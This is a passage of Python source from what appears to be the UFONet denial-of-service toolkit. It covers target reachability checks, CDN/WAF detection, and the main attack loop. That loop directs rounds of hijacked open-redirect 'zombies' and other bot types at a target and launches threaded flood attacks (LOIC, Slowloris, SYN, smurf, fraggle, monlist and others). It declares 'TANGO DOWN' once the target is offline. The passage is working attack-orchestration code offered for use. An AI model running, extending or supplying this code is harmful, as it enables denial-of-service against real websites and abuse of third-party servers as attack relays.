  6109. except urllib.error.HTTPError as e:
  6110. if e.code == 401:
  6111. print('[Info] [AI] [DBStress] Not authorized')
  6112. elif e.code == 404:
  6113. print('[Info] [AI] [DBStress] Not found')
  6114. elif e.code == 503:
  6115. print('[Info] [AI] [DBStress] Service unavailable')
  6116. else:
  6117. print('[Info] [AI] [DBStress] Unknown error')
  6118. else:
  6119. print('[Info] [AI] [DBStress] Database query: HIT!')
  6120. def attackme(self, zombies):
  6121. # perform a DDoS Web attack against yourself
  6122. print("[AI] Starting local port to listening at: " + self.port + "\n")
  6123. print('='*21 + "\n")
  6124. self.doll=Doll(self)
  6125. self.doll.start()
  6126. while not self.doll._armed:
  6127. time.sleep(1)
  6128. # send Open Redirect injection (multiple zombies-multiple target urls)
  6129. target = ""
  6130. self.injection(target, zombies)
  6131. self.doll.shutdown()
  6132. self.doll.join()
  6133. self.herd.list_fails()
  6134. def check_target_status(self):
  6135. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  6136. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  6137. if not self.options.forceyes:
  6138. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  6139. print("\n" + '-'*25)
  6140. else:
  6141. update_reply = "N"
  6142. if update_reply == "y" or update_reply == "Y":
  6143. try: # send HEAD connection
  6144. self.head = True
  6145. reply = self.connect_zombie(target)
  6146. self.head = False
  6147. if reply:
  6148. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  6149. else:
  6150. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  6151. self.update_targets_crashed() # update targets crashed stats
  6152. self.update_mothership_stats() # update mothership completed attack stats
  6153. except Exception:
  6154. print("\n[Error] [AI] Something wrong with your connection!...\n")
  6155. if DEBUG == True:
  6156. traceback.print_exc()
  6157. return
  6158. else:
  6159. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  6160. self.update_targets_crashed() # update targets crashed stats
  6161. self.update_mothership_stats() # update mothership completed attack stats
  6162. return
  6163. def starting_target_check(self, target, head_check):
  6164. options = self.options
  6165. head_check_here = False
  6166. head_check_external = False
  6167. if options.disablehead: # check at start is disabled (skipping!)
  6168. print("[Info] [AI] Skipping external check...\n")
  6169. head_check_here = True
  6170. head_check_external = True
  6171. else:
  6172. if head_check:
  6173. if not options.attackme:
  6174. print("[AI] Launching: 'Is target up?' check...\n")
  6175. try: # send HEAD connection
  6176. self.head = True
  6177. reply = self.connect_zombie(target)
  6178. self.head = False
  6179. if reply:
  6180. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  6181. head_check_here = True
  6182. else:
  6183. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  6184. head_check_here = False
  6185. except Exception:
  6186. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  6187. if DEBUG == True:
  6188. traceback.print_exc()
  6189. head_check_here = False
  6190. else: # check if local IP/PORT is listening on mothership
  6191. print("[AI] Launching: 'Is NAT ready?' check...\n")
  6192. try:
  6193. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  6194. result = sock.connect_ex(('0.0.0.0',8080))
  6195. if result == 0 or result == 110: # black magic
  6196. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  6197. head_check_here = True
  6198. else:
  6199. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  6200. head_check_here = False
  6201. except Exception:
  6202. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  6203. if DEBUG == True:
  6204. traceback.print_exc()
  6205. head_check_here = False
  6206. else:
  6207. head_check_here = True
  6208. # check target using external check services
  6209. self.external = True
  6210. if not options.attackme:
  6211. try:
  6212. target = self.parse_url_encoding(target) # parse for proper url encoding
  6213. if target.startswith("http://"):
  6214. target = target.replace("http://", "")
  6215. else:
  6216. target = target.replace("https://", "")
  6217. try:
  6218. url = self.external_check_service1 + target
  6219. self.user_agent = random.choice(self.agents).strip()
  6220. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
  6221. if options.proxy:
  6222. self.proxy_transport(options.proxy)
  6223. req = urllib.request.Request(url, None, headers)
  6224. external_reply = urllib.request.urlopen(req, context=self.ctx, timeout=10).read()
  6225. if b"is UP and reachable" in external_reply:
  6226. t = urlparse(self.external_check_service1)
  6227. name_external1 = t.netloc
  6228. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  6229. head_check_external = True
  6230. else:
  6231. raise RuntimeError("external service 1 did not confirm UP")
  6232. except Exception:
  6233. try:
  6234. host = target.split('/', 1)[0]
  6235. host = host.split(':', 1)[0]
  6236. port = 443 if 'https' in self.external_check_service1 else 80
  6237. with socket.create_connection((host, port), timeout=5):
  6238. pass
  6239. print("[Info] [AI] [Control] From OTHERS: YES -> [tcp://"+host+":"+str(port)+"]")
  6240. head_check_external = True
  6241. except Exception:
  6242. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  6243. head_check_external = False
  6244. except Exception:
  6245. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  6246. if DEBUG == True:
  6247. traceback.print_exc()
  6248. head_check_external = False
  6249. else:
  6250. try: # check mothership from public ip / NAT using HEAD request
  6251. try:
  6252. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  6253. reply = urllib.request.urlopen(req)
  6254. except Exception:
  6255. reply = None
  6256. if reply:
  6257. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  6258. head_check_external = True
  6259. else:
  6260. print("\n[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  6261. head_check_external = False
  6262. head_check_here = False # stop attack if not public IP available
  6263. except Exception:
  6264. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  6265. head_check_here = False # stop attack if not public IP available
  6266. if DEBUG == True:
  6267. traceback.print_exc()
  6268. head_check_external = False
  6269. self.external = False
  6270. if head_check_here and not options.disablehead and not options.attackme:
  6271. try:
  6272. from core._cdn import detect_cdn
  6273. cdn, evidence = detect_cdn(target)
  6274. except Exception:
  6275. cdn, evidence = (None, None)
  6276. if cdn:
  6277. print("\n[Warning] [AI] Target is behind a CDN/WAF: [" + cdn + "]")
  6278. if evidence:
  6279. print("[Info] [AI] CDN evidence -> " + evidence)
  6280. print("[Info] [AI] Open-redirect / L7 attacks often hit the edge cache, NOT the origin. -> [WAF may block!]\n")
  6281. if not options.forceyes:
  6282. r = input("[AI] Do you want to continue anyway? (Y/n)")
  6283. if r.strip().lower() == "n":
  6284. print("\n[Info] [AI] Aborting by user request -> [Exiting!]\n")
  6285. head_check_here = False
  6286. head_check_external = False
  6287. return head_check_here, head_check_external
  6288. def injection(self, target, zombies, head_check = True):
  6289. options = self.options
  6290. # check target's integrity at start
  6291. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  6292. # ask user to confirm the attack
  6293. if head_check_here == True or head_check_external == True:
  6294. if not self.options.forceyes:
  6295. if not options.attackme:
  6296. if not options.disablehead:
  6297. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  6298. else:
  6299. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  6300. else:
  6301. if not options.disablehead:
  6302. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  6303. else:
  6304. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  6305. else:
  6306. start_reply = "Y"
  6307. if start_reply == "y" or start_reply == "Y":
  6308. if options.attackme:
  6309. total_rounds = 2 # default rounds for attackme
  6310. else:
  6311. total_rounds = options.rounds # extract number of rounds
  6312. try:
  6313. total_rounds = int(total_rounds)
  6314. except:
  6315. total_rounds = 1
  6316. if not total_rounds:
  6317. total_rounds = 1
  6318. if total_rounds <= 0:
  6319. total_rounds = 1
  6320. self.herd.cleanup()
  6321. num_round = 1
  6322. num_hits = 0
  6323. num_zombie = 1
  6324. # start to attack the target with [MODS]
  6325. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.fraggle or options.xmas or options.ufoack or options.uforst or options.droper or options.overlap or options.pinger or options.ufoudp or options.nuke or options.tachyon or options.monlist or options.sniper:
  6326. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.fraggle, self.options.xmas, self.options.ufoack, self.options.uforst, self.options.droper, self.options.overlap, self.options.pinger, self.options.ufoudp, self.options.nuke, self.options.tachyon, self.options.monlist, self.options.sniper)) # multithreading flow for extra attacks
  6327. ex.daemon = True # extra weapons are threaded as daemons
  6328. ex.start()
  6329. # start to attack the target with [ARMY]
  6330. zombies = self.extract_zombies() # extract zombies from file
  6331. if zombies:
  6332. self.total_zombie = len(zombies)
  6333. else:
  6334. self.total_zombie = 0
  6335. return
  6336. self.herd=Herd(self)
  6337. if not self.options.disablepurge:
  6338. self.discardzombies = []
  6339. self.discard_aliens = []
  6340. self.discard_droids = []
  6341. self.discard_rpcs = []
  6342. self.discard_ucavs = []
  6343. total_disc_zombies = 0
  6344. self.num_discard_zombies = 0
  6345. self.num_discard_aliens = 0
  6346. self.num_discard_droids = 0
  6347. self.num_discard_rpcs = 0
  6348. self.num_discard_ucavs = 0
  6349. self.empty_zombies = False
  6350. for i in range(0, int(total_rounds)): # start attacking using rounds
  6351. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  6352. print('='*42)
  6353. print('Starting round:', num_round, ' of ', total_rounds)
  6354. print('='*42)
  6355. self.herd.reset()
  6356. self.extra_zombies_lock = True
  6357. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  6358. self.send_zombies(zombies) # send [Zombies]
  6359. if not self.options.attackme:
  6360. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  6361. if self.options.verbose:
  6362. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  6363. self.send_extra_zombies() # send [ARMY]
  6364. while self.extra_zombies_lock == True:
  6365. time.sleep(1) # wait for [ARMY] to return
  6366. if self.options.verbose:
  6367. print("\n" + '='*42)
  6368. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  6369. else:
  6370. zombies_lock = 0
  6371. if self.options.expire: # set timing for purge
  6372. try:
  6373. timing = int(self.options.expire)
  6374. except:
  6375. timing = self.expire_timing # default timing for purge
  6376. else:
  6377. timing = self.expire_timing # default timing for purge
  6378. if timing < 1:
  6379. timing = self.expire_timing # default timing for purge
  6380. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  6381. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  6382. zombies_lock = zombies_lock + 1
  6383. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  6384. if self.options.verbose:
  6385. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  6386. break
  6387. else:
  6388. time.sleep(1)
  6389. if self.options.verbose:
  6390. print("\n" + '='*42)
  6391. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  6392. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  6393. self.check_target_status()
  6394. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  6395. self.abandoning_zombies() # check for abandoning zombies
  6396. for zombie in self.herd.done: # check for num hits
  6397. if self.herd.connection_failed(zombie) == False:
  6398. num_hits = num_hits + 1
  6399. num_zombie = num_zombie + 1
  6400. if num_zombie > self.total_zombie:
  6401. num_zombie = 1
  6402. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  6403. check_is_loading = self.check_is_loading(target)
  6404. self.herd.dump_html()
  6405. if not self.options.disablepurge:
  6406. if self.empty_zombies == True:
  6407. break # exit routine when not any more zombies
  6408. num_round = num_round + 1
  6409. if self.options.verbose:
  6410. print("\n" + '='*42)
  6411. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  6412. if self.options.loic: # try to stop daemons/threads for extra weapons
  6413. self.t1.join()
  6414. if self.options.loris:
  6415. self.t2.join()
  6416. if self.options.ufosyn:
  6417. self.t3.join()
  6418. if self.options.spray:
  6419. self.t4.join()
  6420. if self.options.smurf:
  6421. self.t5.join()
  6422. if self.options.xmas:
  6423. self.t6.join()
  6424. if self.options.nuke:
  6425. self.t7.join()
  6426. if self.options.tachyon:
  6427. self.t8.join()
  6428. if self.options.monlist:
  6429. self.t9.join()
  6430. if self.options.ufoack:
  6431. self.t10.join()
  6432. if self.options.uforst:
  6433. self.t11.join()
  6434. if self.options.droper:
  6435. self.t12.join()
  6436. if self.options.overlap:
  6437. self.t13.join()
  6438. if self.options.pinger:
  6439. self.t14.join()
  6440. if self.options.ufoudp:
  6441. self.t15.join()
  6442. if self.options.fraggle:
  6443. self.t16.join()
  6444. if self.options.sniper:
  6445. self.t17.join()
  6446. if self.options.target_list:
  6447. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  6448. print ("\x1b[2J\x1b[H") # black magic
  6449. if not self.options.attackme: # show herd results
  6450. self.herd.dump()
  6451. else: # show doll results
  6452. print('='*21)
  6453. print("\n[Info] [AI] Mothership transmission...\n")
  6454. num_real_zombies = len(self.doll.real_zombies)
  6455. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  6456. for z in self.doll.real_zombies: # show only alien verified zombies
  6457. for x in z:
  6458. print(" - " + str(x))
  6459. self.herd.dump_html(True) # show (all) zombies statistics
  6460. if not self.options.attackme:
  6461. if not self.options.disablepurge:
  6462. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  6463. else:
  6464. if not options.target_list:
  6465. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  6466. else:
  6467. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  6468. self.update_mothership_stats() # update mothership stats
  6469. if not self.options.disablepurge:
  6470. print('='*21+ "\n")
  6471. self.discardzombies = list(dict.fromkeys(self.discardzombies))
  6472. self.discard_aliens = list(dict.fromkeys(self.discard_aliens))
  6473. self.discard_droids = list(dict.fromkeys(self.discard_droids))
  6474. self.discard_rpcs = list(dict.fromkeys(self.discard_rpcs))
  6475. self.discard_ucavs = list(dict.fromkeys(self.discard_ucavs))
  6476. self.num_discard_zombies = len(self.discardzombies)
  6477. self.num_discard_aliens = len(self.discard_aliens)
  6478. self.num_discard_droids = len(self.discard_droids)
  6479. self.num_discard_rpcs = len(self.discard_rpcs)
  6480. self.num_discard_ucavs = len(self.discard_ucavs)
  6481. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  6482. if total_disc_zombies > 0 and total_disc_zombies < 2:
  6483. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  6484. elif total_disc_zombies > 1:
  6485. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  6486. if self.num_discard_zombies > 0:
  6487. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  6488. if self.num_discard_aliens > 0:
  6489. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  6490. if self.num_discard_droids > 0:
  6491. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  6492. if self.num_discard_rpcs > 0:
  6493. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  6494. if self.num_discard_ucavs > 0:
  6495. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  6496. if total_disc_zombies > 0:
  6497. if not self.options.forceyes:
  6498. if total_disc_zombies > 0 and total_disc_zombies < 2:
  6499. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  6500. elif total_disc_zombies > 1:
  6501. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  6502. else:
  6503. backup_reply = "Y"
  6504. if backup_reply == "y" or backup_reply == "Y":
  6505. print("\n[Info] [AI] Purging failed units from files...\n")
  6506. discarded = []
  6507. _seen = set()
  6508. def _dedup(lst):
  6509. out = []
  6510. for x in lst:
  6511. if x not in _seen:
  6512. _seen.add(x)
  6513. out.append(x)
  6514. return out
  6515. if self.num_discard_zombies > 0:
  6516. for z in _dedup(self.discardzombies):
  6517. discarded.append(z)
  6518. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  6519. if self.num_discard_aliens > 0:
  6520. for a in _dedup(self.discard_aliens):
  6521. discarded.append(a)
  6522. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  6523. if self.num_discard_droids > 0:
  6524. for d in _dedup(self.discard_droids):
  6525. discarded.append(d)
  6526. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  6527. if self.num_discard_rpcs > 0:
  6528. for r in _dedup(self.discard_rpcs):
  6529. discarded.append(r)
  6530. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  6531. if self.num_discard_ucavs > 0:
  6532. for u in _dedup(self.discard_ucavs):
  6533. discarded.append(u)
  6534. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  6535. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  6536. if disc_zombies > 0 and disc_zombies < 2:
  6537. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  6538. elif disc_zombies > 1:
  6539. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  6540. if not self.options.target_list:
  6541. print('-'*21+ "\n")
  6542. print("[AI] "+self.exit_msg+"\n")
  6543. if not self.options.web:
  6544. return
  6545. else:
  6546. if self.num_target_list > 0: # still more targets
  6547. print('-'*21+ "\n")
  6548. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  6549. return
  6550. else: # finish attack from multiple targets
  6551. print('-'*21+ "\n")
  6552. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  6553. print("\n"+ '='*21+ "\n")
  6554. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  6555. print("\n"+ '-'*21+ "\n")
  6556. print("[AI] "+self.exit_msg+"\n")
  6557. if not self.options.web:
  6558. return
  6559. else:
  6560. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  6561. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  6562. if os.path.exists('mothership') == True:
  6563. os.remove('mothership') # remove mothership stream
  6564. if os.path.exists('alien') == True:
  6565. os.remove('alien') # remove random alien worker
  6566. if not options.web:
  6567. sys.exit(2) # exit
  6568. else:
  6569. return
  6570. else:
  6571. print("\n" + '='*21)
  6572. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  6573. if AI_reply == "y" or AI_reply == "Y":
  6574. self.AI() # AI fortune cookie
  6575. print('-'*21+ "\n")
  6576. print("\n[AI] "+self.exit_msg+"\n")
  6577. if os.path.exists('mothership') == True:
  6578. os.remove('mothership') # remove mothership stream
  6579. if os.path.exists('alien') == True:
  6580. os.remove('alien') # remove random alien worker
  6581. if not options.web:
  6582. sys.exit(2) # exit
  6583. else:
  6584. return
  6585. else:
  6586. if not options.attackme:
  6587. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  6588. else:
  6589. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  6590. print("\n" + '-'*21)
  6591. print("\n[AI] "+self.exit_msg+"\n")
  6592. if os.path.exists('mothership') == True:
  6593. os.remove('mothership') # remove mothership stream
  6594. if os.path.exists('alien') == True:
  6595. os.remove('alien') # remove random alien worker
  6596. return
  6597. if __name__ == "__main__":
  6598. app = UFONet()
  6599. options = app.create_options()
  6600. if options:
  6601. app.run()